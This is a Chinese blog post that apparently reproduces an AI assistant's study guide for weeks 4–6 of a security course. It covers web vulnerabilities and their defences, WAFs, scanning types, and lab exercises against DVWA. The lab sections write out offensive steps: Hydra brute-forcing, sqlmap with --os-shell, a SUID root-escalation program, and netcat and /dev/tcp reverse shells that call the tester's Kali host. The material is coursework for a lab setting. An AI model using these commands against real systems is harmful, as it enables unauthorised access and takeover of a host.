5618week4-6

太好了,已经拿到 Week 4–6(含 Tutorial 4–6)的资料。下面给你:

  • Week 4–5 精讲一页纸(必背点 + 易混点)
  • Tutorial 4–6 实操步骤与“视频验收清单”
  • 常见坑位与排错
  • 与样卷/考试的对齐点
  • 自测题(含要点答案)
  • A4 速记纸增补建议(Week 4–6 相关)

一、Week 4–5 知识脉络与必背点

Week 4:Web 应用基础与攻击面

  • 架构分层

    • Web Server:处理HTTP、静态内容、连接管理、安全控制(常见:Nginx/Apache)。
    • App Server:执行后端代码、业务逻辑、数据库访问、缓存。
    • DB:SQL(MySQL/PostgreSQL/SQLite/SQL Server)vs NoSQL(Mongo/Redis/Cassandra)。
  • SQL vs NoSQL

    • SQL:强关系、固定模式、复杂 Join;NoSQL:灵活模式、弱/无关系、擅长大规模非结构化数据。
  • WAF(Web Application Firewall)

    • 部署在应用前端(反向代理位),拦截/过滤HTTP请求;功能:攻击检测、流量过滤、漏洞缓解、Bot 防护、日志与策略自定义。
  • 常见漏洞与防护

    • SQLi:参数化查询/预编译、最小权限账户、拒绝拼接SQL、错误信息最小化。
    • XSS(反射/存储):输入验证、输出编码(按上下文)、CSP、禁内联脚本。
    • CSRF:CSRF token、同站属性SameSite Cookie、关键操作再认证。
    • 认证缺陷/会话劫持:强口令/2FA、会话固定防护、Secure/HttpOnly/SameSite Cookie、会话过期策略。
    • IDOR:基于对象权限检查(不信任客户端ID)、服务端统一鉴权。
    • 配置不当/缺失功能级别访问控制/开放重定向:基线加固、白名单跳转、统一权限网关。

易错点

  • 把WAF当“万能盾”,忽视代码层修复与上下文编码。
  • 只做“输入过滤”不做“输出编码”,无法全面防XSS。
  • 用“角色在前端判断”替代服务端鉴权,导致IDOR/MFLAC。

Week 5:Web 扫描与工程化保障

  • 扫描类型

    • White-box(SAST/源码/消息/配置级):早发现、深覆盖;需源码,可能误报。
    • Black-box(DAST/外部交互):贴近真实攻击、部署快;能见度受限,易假阳/假阴。
    • Grey-box:两者结合。
    • Fuzzing:向输入注入随机/畸形数据测健壮性。
  • 工具景观(了解定位)

    • SAST/代码质量:SonarQube(社区版可用)、Checkmarx、Fortify、Coverity、Klocwork、Semmle/CodeQL、CodeSonar。
    • DAST/综合:AppScan、OWASP ZAP(免费,常用)、OpenVAS(更偏网络/主机)。
  • 扫描的局限与正确打开方式

    • 自动化仅“加速”而不“替代”手工验证;需结合手工复现与利用链分析。
    • 身份态势:需要带登录态Cookie,否则大量逻辑面/授权面被漏报。
  • 漏洞治理闭环

    • 发现→分析(根因/影响)→优先级(CVSS/业务影响)→修复(补丁/配置/代码)→回归测试→持续监控。

必背命题点(与样卷一致)

  • SAST vs DAST vs Fuzz 定义、优缺点、适用场景。
  • 扫描器为何要带上认证Cookie;在DVWA的实际操作方法。
  • 工具对比:ZAP vs 内容发现(dirb/gobuster)vs sqlmap(SQLi 专项)vs Hydra(密码爆破)。

二、Tutorial 4–6 实操与“视频验收清单”

Tutorial 4(Nginx + PHP-FPM + NAXSI WAF)

  • 目标

    • 用 Nginx(非Apache)承载 DVWA;通过 PHP-FPM 处理PHP;用 NAXSI 做应用层WAF。
  • 关键配置提示

    • PHP-FPM:确认 fastcgi_pass 指向正确 sock(如 /run/php/php7.1-fpm.sock)或 127.0.0.1:9000;include fastcgi_params。
    • Nginx 站点:sites-available/default → 软链到 sites-enabled/;root/ index / location ~ .php$ 配置正确。
    • NAXSI:编译或引入规则;在 server/location 中 include naxsi.rules;先启用 Learning Mode,观察 /var/log/nginx/error.log。
  • 验收清单(录屏必须体现)

    • 启停服务:systemctl start/stop php-fpm/nginx;状态正常。
    • 浏览器能访问 phpinfo 页面。
    • DVWA 登录页正常(admin/password)。
    • 使用 curl 或浏览器发起 XSS/SQLi 测试请求,观察 NAXSI 在错误日志的记录/阻断;展示 Learning Mode → Blocking Mode 的差异。

常见坑

  • PHP-FPM 版本与 sock 路径不匹配;少了 fastcgi_param SCRIPT_FILENAME。
  • NAXSI 仅在某 location 生效,漏掉其他路径。
  • 忘记把 DVWA 放在 Host-only 网段,意外暴露。

Tutorial 5(目录扫描、Burp/Hydra 爆破、ZAP 扫描、sqlmap 注入链)

  • 内容发现

    • gobuster dir -u http:// -w (快,支持虚拟主机模式);dirb http://(简单直观)。
  • Burp Suite + Hydra

    • Burp 设代理(127.0.0.1:8080),抓 dvwa/vulnerabilities/brute 请求,确定登录失败的特征字符串。
    • Hydra 示例(注意以实际表单参数/失败提示为准):

      • hydra -l -P <dvwa_ip> http-post-form "/DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect"
  • ZAP/OpenVAS

    • 用 ZAP 爬站 + 主动扫描,生成报告。对“重要发现”(SQLi/XSS/CSRF)逐个手工验证并说明根因。
  • sqlmap

    • 带 Cookie(PHPSESSID, security=low),锁定可注入参数:

      • sqlmap -u "http:///vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=...; security=low" --batch --dbs
      • 尝试 --os-shell 获取系统shell(需文件写入/命令执行链支持)。
  • 验收清单

    • 展示 dirb 与 gobuster 输出差异。
    • Burp 抓包与字典爆破成功证据(或 Hydra 成功登录)。
    • ZAP 报告 + 逐类漏洞的手工复现。
    • sqlmap 成功识别数据库/版本,尽量演示 --os-shell。

常见坑

  • Hydra 表单参数/失败提示字符串不匹配,导致“永远失败”。
  • sqlmap 忘记带认证 Cookie;DVWA 安全级别非 low 导致利用受限。
  • 降级 MySQL(若做扩展)时与系统 glibc/依赖不兼容(按教程版本匹配并阅读 INSTALL-BINARY)。

Tutorial 6(SUID 提权链)

  • 路线

    • 先用 sqlmap 获得 DVWA 主机上的 www-data Shell(whoami=www-data)。
    • 本机准备提权组件:C 程序 + 反弹 Shell 脚本 + nc 监听。
  • 关键实现(建议修正与补全头文件)

    • /tmp/escalate.c:

      • 包含头文件:#include <unistd.h>、#include <stdlib.h>
      • 主体:

        • setuid(0); system("/bin/bash /tmp/im_root.sh");
    • 编译:

      • gcc -o /tmp/escalate /tmp/escalate.c
    • 权限与属主:

      • chmod u+x /tmp/escalate
      • chown root:users /tmp/escalate
      • chmod ug+s /tmp/escalate ← 注意带绝对路径
    • 反弹脚本 /tmp/im_root.sh:

      • 用你的 Kali IP 替换占位:nc <KALI_IP> 1234
    • 在 Kali 监听:nc -vvlp 1234
    • 回到 www-data shell 执行:/tmp/escalate → Kali 端拿到 root。
  • 审计辅助

    • unix-privesc-check detailed | less → 搜 “WARNING” 学习常见提权面。
  • 验收清单

    • 展示 www-data → root 的反弹 shell 转变(两端 whoami)。
    • 展示 privesc-check 的运行与部分警告项。

常见坑

  • 忘记包含头文件/忘记绝对路径导致 SUID 程序失败。
  • /tmp 挂载 nosuid/脚本无执行权限;或 nc 版本行为差异(必要时用 bash -i >& /dev/tcp/IP/PORT 0>&1 备选)。

三、与样卷/考试的对齐

  • 样卷Q20:

    • Nmap vs Gobuster:Nmap 做主机/端口/服务/版本枚举;Gobuster 做目录/文件/虚拟主机字典发现。
    • 密码攻击:暴力 vs 字典 vs 彩虹表;你已在 Tutorial 5 用 Hydra(字典)实操。
    • 提权路径:SUID/错误 sudoers/cron 可写/内核CVE/凭据泄露——Tutorial 6 完整覆盖 SUID。
  • MCQ 高频:

    • SAST/DAST/Fuzz 定义与差异(Week5)。
    • 代理与隧道/OSI L6(Week2/3,已学)。
    • Web 漏洞类型与防护(Week4)。

四、A4 速记纸增补(Week 4–6 版)

  • XSS:类型(Reflected/Stored/DOM)+ 输出编码策略 + CSP 关键指令。
  • SQLi:参数化/最小权限/错误处理;sqlmap 常用参数:--cookie, -u, --dbs, --tables, --dump, --os-shell, --risk/--level。
  • CSRF:Token、SameSite、关键操作再认证。
  • 认证与会话:Secure/HttpOnly/SameSite、会话固定防护、2FA。
  • WAF:部署位置、学习模式→阻断模式、日志路径、与反代协同。
  • 扫描策略:SAST→DAST→手工验证→修复→回归;登录态Cookie注入。
  • 工具速表:dirb/gobuster、Burp(Proxy/Repeater/Intruder/Sequencer)、ZAP、Hydra、sqlmap。
  • Linux 提权速查:find / -perm -4000 -type f 2>/dev/null、sudo -l、crontab、PATH 劫持点。

五、自测题(含要点)

  • MCQ(给答案)

      1. SAST/DAST/Fuzz 的正确定义与各自优势?答:白盒/黑盒/畸形数据健壮性;早发现/贴近真实/发现边界错。
      1. 扫描 DVWA 中需带 Cookie 的原因?答:访问受限功能需认证态;否则被重定向/漏报。
      1. WAF 放置在何处更合适?答:应用前端(反向代理位),在客户端与Web服务器之间。
  • 简答(要点)

    • A) 设计一条 XSS 防护链:输入验证(长度/类型)+ 按上下文输出编码 + CSP + 模板引擎自动编码。
    • B) 解释为何仅靠黑盒扫描会出现假阴,并给两种缓解:补充登录态/扩大爬虫覆盖/结合灰盒提示/手工验证。
    • C) 比较 dirb 与 gobuster:二者皆字典发现,gobuster基于Go并发高、支持vhost;dirb更易上手。
    • D) 用 Burp + Hydra 跑 DVWA 暴力破解的关键步骤:抓请求→定位表单参数/失败提示→构造 Hydra 模板→跑字典。
    • E) 何时选用 WAF vs 代码修复?答:WAF 用于快速风险缓解与防御纵深;根本修复仍在代码与配置层,二者需同时推进。
  • 计算/命令题(核对思路即可)

    • sqlmap:为何 --level/--risk 提升可能更慢但更全;--os-shell 的前置条件。
    • NAXSI:Learning Mode 的价值;如何基于日志加白(减少误报)后再切阻断。

六、你的下一步

  • 完成 Tutorial 4–6 并按上面的“验收清单”录屏前自查。
  • 把你在以下三处遇到的具体报错或截图发我,我做针对性排错与二次练习:

    • Nginx + PHP-FPM 无法解析 PHP(贴出站点配置与 error.log)
    • Hydra 一直失败(贴 Burp 抓包与失败提示字符串)
    • sqlmap 无法注入/拿不到 os-shell(贴命令与输出、Cookie 与 DVWA 安全级别)
  • 若可以,继续上传 Week 7–9 或 Tutorial 7–9。我会延续“精讲 + 练习 + 模拟题”的方式,并逐步汇总成你的最终 A4 速记纸定稿。
~  ~  The   End  ~  ~


 赏 
感谢您的支持,我会继续努力哒!
支付宝收款码
tips
文章二维码 分类标签:博客TypechoAutoUpload
文章标题:5618week4-6
文章链接:https://www.fangshaonian.cn/archives/124/
最后编辑:2025 年 11 月 12 日 15:53 By 方少年
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
(*) 4 + 4 =
快来做第一个评论的人吧~